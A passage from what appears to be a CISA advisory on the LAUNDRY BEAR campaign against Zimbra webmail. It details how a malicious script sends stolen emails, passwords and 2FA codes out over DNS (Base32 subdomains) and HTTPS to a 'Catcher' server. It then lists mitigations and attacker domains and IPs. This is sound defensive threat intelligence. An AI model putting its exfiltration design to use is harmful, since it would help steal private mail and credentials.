<p>The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of <em>gather_gal:{VAL}:api</em>. The <em>{VAL}</em> placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder <em>{DAY_OFFSET},</em> with a format of <em>sendArchive:day-{DAY_OFFSET}</em>.</p>
<h3><em><strong>Exfiltration</strong></em><a class="ck-anchor"></a></h3>
<p>At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/003/" target="_blank">T1048.003</a>] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.</p>
<p>Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  </p>
<h4><strong>DNS exfiltration</strong></h4>
<p>DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, <em>Ulej </em>maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a>. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure6.png?itok=Tv8RT8o8" width="1024" height="49" alt="Figure 6: Structure for information exfiltrated by DNS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 6: Structure for information exfiltrated by DNS</strong></em></figcaption>
  </figure>
<p>When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. <a href="https://www.cisa.gov/#table3"><strong>Table 3</strong></a> lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 3: DNS exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
